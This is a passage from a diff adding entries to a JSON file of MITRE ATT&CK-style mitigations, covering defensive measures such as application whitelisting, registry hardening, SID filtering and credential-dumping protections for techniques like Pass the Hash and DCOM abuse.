remote access through Exploitation for Privilege Escalation. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "value": "Application Deployment Software Mitigation - T1017", + "uuid": "c88151a5-fe3f-4773-8147-d801587065a4", + "meta": { + "external_id": "T1017" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Commonly Used Port Mitigation - T1043", + "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "meta": { + "external_id": "T1043" + } + }, + { + "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "value": "Windows Management Instrumentation Mitigation - T1047", + "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf", + "meta": { + "external_id": "T1047" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", + "value": "Hooking Mitigation - T1179", + "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "meta": { + "external_id": "T1179" + } + }, + { + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "value": "Sudo Mitigation - T1169", + "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "meta": { + "external_id": "T1169" + } + }, + { + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)", + "value": "Distributed Component Object Model Mitigation - T1175", + "uuid": "910482b1-6749-4934-abcb-3e34d58294fc", + "meta": { + "external_id": "T1175" + } + }, + { + "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.", + "value": "Path Interception Mitigation - T1034", + "uuid": "e0703d4f-3972-424a-8277-84004817e024", + "meta": { + "external_id": "T1034" + } + }, + { + "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Graphical User Interface Mitigation - T1061", + "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "meta": { + "external_id": "T1061" + } + }, + { + "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "value": "NTFS File Attributes Mitigation - T1096", + "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5", + "meta": { + "external_id": "T1096" + } + }, + { + "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Indicator Removal from Tools Mitigation - T1066", + "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "meta": { + "external_id": "T1066" + } + }, + { + "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "value": "Re-opened Applications Mitigation - T1164", + "uuid": "61d02387-351a-453e-a575-160a9abc3e04", + "meta": { + "external_id": "T1164" + } + }, + { + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "value": "Launch Agent Mitigation - T1159", + "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13", + "meta": { + "external_id": "T1159" + } + }, + { + "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "value": "Gatekeeper Bypass Mitigation - T1144", + "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "meta": { + "external_id": "T1144" + } + }, + { + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent DLL Search Order Hijacking. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", + "value": "SIP and Trust Provider Hijacking Mitigation - T1198", + "uuid": "ef273807-c465-4728-9cee-5823422f42ee", + "meta": { + "external_id": "T1198" + } + }, + { + "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Clipboard Data Mitigation - T1115", + "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "meta": { + "external_id": "T1115" + } + }, + { + "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.", + "value": "Obfuscated Files or Information Mitigation - T1027", + "uuid": "a09375e5-63d2-4b65-8b0d-1cfe3e6304ca", + "meta": { + "external_id": "T1027" + } + }, + { + "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "value": "Create Account Mitigation - T1136", + "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "meta": { + "external_id": "T1136" + } + }, + { + "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as User Execution occurs.", + "value": "Spearphishing Link Mitigation - T1192", + "uuid": "ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", + "meta": { + "external_id": "T1192" + } + }, + { + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "value": "Spearphishing via Service Mitigation - T1194", + "uuid": "c861bcb1-946f-450d-ab75-d4e3c1103a56", + "meta": { + "external_id": "T1194" + } + }, + { + "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Registry Run Keys / Start Folder Mitigation - T1060", + "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a", + "meta": { + "external_id": "T1060" + } + }, + { + "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)", + "value": "Multi-Stage Channels Mitigation - T1104", + "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52", + "meta": { + "external_id": "T1104" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Data Staged Mitigation - T1074", + "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd", + "meta": { + "external_id": "T1074" + } + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "value": "Launch Daemon Mitigation - T1160", + "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "meta": { + "external_id": "T1160" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Data from Removable Media Mitigation - T1025", + "uuid": "39706d54-0d06-4a25-816a-78cc43455100", + "meta": { + "external_id": "T1025" + } + }, + { + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "value": "Hidden Users Mitigation - T1147", + "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43", + "meta": { + "external_id": "T1147" + } + }, + { + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "value": "Signed Script Proxy Execution Mitigation - T1216", + "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "meta": { + "external_id": "T1216" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Data from Network Shared Drive Mitigation - T1039", + "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd", + "meta": { + "external_id": "T1039" + } + }, + { + "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", + "value": "Dylib Hijacking Mitigation - T1157", + "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784", + "meta": { + "external_id": "T1157" + } + }, + { + "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "value": "Account Manipulation Mitigation - T1098", + "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425", + "meta": { + "external_id": "T1098" + } + }, + { + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "value": "PowerShell Mitigation - T1086", + "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2", + "meta": { + "external_id": "T1086" + } + }, + { + "description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "value": "Forced Authentication Mitigation - T1187", + "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765", + "meta": { + "external_id": "T1187" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "System Information Discovery Mitigation - T1082", + "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67", + "meta": { + "external_id": "T1082" + } + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "value": "Exploitation for Defense Evasion Mitigation - T1211", + "uuid": "37a3f3f5-76e6-43fe-b935-f1f494c95725", + "meta": { + "external_id": "T1211" + } + }, + { + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "value": "Winlogon Helper DLL Mitigation - T1004", + "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3", + "meta": { + "external_id": "T1004" + } + }, + { + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", + "value": "Password Filter DLL Mitigation - T1174", + "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651", + "meta": { + "external_id": "T1174" + } + }, + { + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", + "value": "Netsh Helper DLL Mitigation - T1128", + "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec", + "meta": { + "external_id": "T1128" + } + }, + { + "description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Network Share Connection Removal Mitigation - T1126", + "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "meta": { + "external_id": "T1126" + } + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "value": "Connection Proxy Mitigation - T1090", + "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8", + "meta": { + "external_id": "T1090" + } + }, + { + "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)", + "value": "Password Policy Discovery Mitigation - T1201", + "uuid": "49961e75-b493-423a-9ec7-ac2d6f55384a", + "meta": { + "external_id": "T1201" + } + }, + { + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Browser Bookmark Discovery Mitigation - T1217", + "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "meta": { + "external_id": "T1217" + } + }, + { + "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)", + "value": "Time Providers Mitigation - T1209", + "uuid": "a1482e43-f3ff-4fbd-94de-ad1244738166", + "meta": { + "external_id": "T1209" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Application Window Discovery Mitigation - T1010", + "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b", + "meta": { + "external_id": "T1010" + } + }, + { + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.", + "value": "External Remote Services Mitigation - T1133", + "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "meta": { + "external_id": "T1133" + } + }, + { + "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "value": "Pass the Hash Mitigation - T1075", + "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "meta": { + "external_id": "T1075" + } + }, + { + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Account Discovery Mitigation - T1087", + "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97", + "meta": { + "external_id": "T1087" + } + }, + { + "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)", + "value": "Trusted Developer Utilities Mitigation - T1127", + "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0", + "meta": { + "external_id": "T1127" + } + }, + { + "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Pass the Ticket Mitigation - T1097", + "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d", + "meta": { + "external_id": "T1097" + } + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "System Owner/User Discovery Mitigation - T1033", + "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "meta": { + "external_id": "T1033" + } + }, + { + "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)", + "value": "Credential Dumping Mitigation - T1003", + "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "meta": { + "external_id": "T1003" + } + }, + { + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "value": "Regsvr32 Mitigation - T1117", + "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432", + "meta": { + "external_id": "T1117" + } + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "value": "Process Hollowing Mitigation - T1093", + "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43", + "meta": { + "external_id": "T1093" + } + }, + { + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "value": "LC_MAIN Hijacking Mitigation - T1149", + "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b", + "meta": { + "external_id": "T1149" + } + }, + { + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (netdom trust /domain: /quarantine:yes (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (netdom trust /domain: /EnableSIDHistory:no (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (netdom trust /domain: /quarantine (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009", + "value": "SID-History Injection Mitigation - T1178", + "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "meta": { + "external_id": "T1178" + } + }, + { + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.", + "value": "Startup Items Mitigation - T1165", + "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719", + "meta": { + 